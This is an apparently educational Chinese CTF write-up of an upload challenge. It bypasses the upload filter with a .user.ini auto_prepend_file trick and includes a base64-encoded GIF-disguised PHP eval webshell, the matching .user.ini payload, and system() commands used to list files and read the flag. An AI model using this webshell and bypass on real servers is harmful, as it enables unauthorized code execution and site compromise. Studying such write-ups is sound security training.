CheckIn

  • A+

前言及基础讲解

很好的一道题

这道题是一个上传类型的CTF-WEB题

首先在前面呢,我先给和我一样的小菜鸟稍微分享一下基础知识,大佬请直接忽略划过。

上传漏洞简单来说,就是网站程序对于用户上传的东西没有进行足够充分的过滤等防护,导致可以上传可执行的恶意文件,也就是拿到webshell,从而对网站造成严重的后果。

那么上传漏洞大概都会分哪几类呢?
菜鸡的我个人将其主要按照验证方式进行分类。

前端验证:(++验证方式就是程序在前端中用一串JavaScript脚本等进行验证过滤++)
对于这种情况可以在浏览器F12删除那段验证的脚本,突破限制进行上传。(有的浏览器似乎删了也没用)
也可以利用Burp等抓包工具,上传的时候把后缀改成允许上传的,然后用抓包工具抓包,因为已经验证过了,此时再将后缀名改成PHP等就可以Upload Successful了。

后端验证:(++验证方式就是网站程序会将你上传的东西在后端,即服务器上根据逻辑进行判断++)
后端验证往往我会再次分子类,根据验证策略——黑名单和白名单
黑名单,顾名思义即禁止上传黑名单中存在的文件类型后缀,但是不在黑名单上的就可以允许上传。这种的有时候可以FUZZ一下,比如不允许上传PHP,可以试试PHP5、PHP6这种后缀类型。
白名单,与黑名单相反,就不多赘述了。这一类往往需要结合一些中间件存在的解析漏洞或者系统特性,大家可以自行百度,已经有很多前备写过非常详细的文章啦,我就不在这里造轮子了嘿嘿。

好啦,下面开始进入正题!

正文


::: hljs-center

这道题主要考察的是上传漏洞的姿势,和.htaccess的利用类似。这个题则用的是.user.ini绕过,然后利用其执行图片马,得到webshell。

:::

.user.ini使用的范围要比.htaccess更广,可以说是全服务器通杀,而.htaccess相比就有了局限性。(这个题正是因为这个原因才无法用.htaccess做)。

什么是.user.ini呢?其实它就是一个由用户自定义php.ini。而,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

下面我们利用.user.ini来构造一个可以使用图片马的后门。

我们指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=wayx.gif

(wayx.gif就是要包含的文件)

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的图片木马

但是这个题并不能直接这样子上传,当我们直接上传发现报错:

所以我们需要将文件伪装成一个允许上传的图片

我们可以使用十六进制编辑器在头上加0X00,也可以直接在内容前面加GIF89a12,用来绕过验证机制。

而且图片木马需要进行base64加密处理,相对应的.user.ini需要解码操作。下面是我的完整payload:

F1A4.gif内容:

GIF89a12Jmx0Oz9waHAgZXZhbCgkX1BPU1Rbd2F5eF0pOw==

密码wayx

.user.ini内容:

GIF89a12
auto_prepend_file="php://filter/convert.base64-decode/resource=F1A4.gif"

然后依次上传,直接连接菜刀。(做题的时候发现菜刀并不能访问到根目录,所以就用了个GET型木马手测)


注意这里,木马存在的路径!是下面红标的整个部分。


uploads别忘了。。我坑在这了

然后连接,上传一个GET型木马,getflag一把梭。


1.yx.php?wayx=system("ls ///");
2.yx.php?wayx=system("cat ///flag");

结束语

感谢师傅赏脸阅读嘿嘿
有其他姿势或者我写的有问题,请大家指正!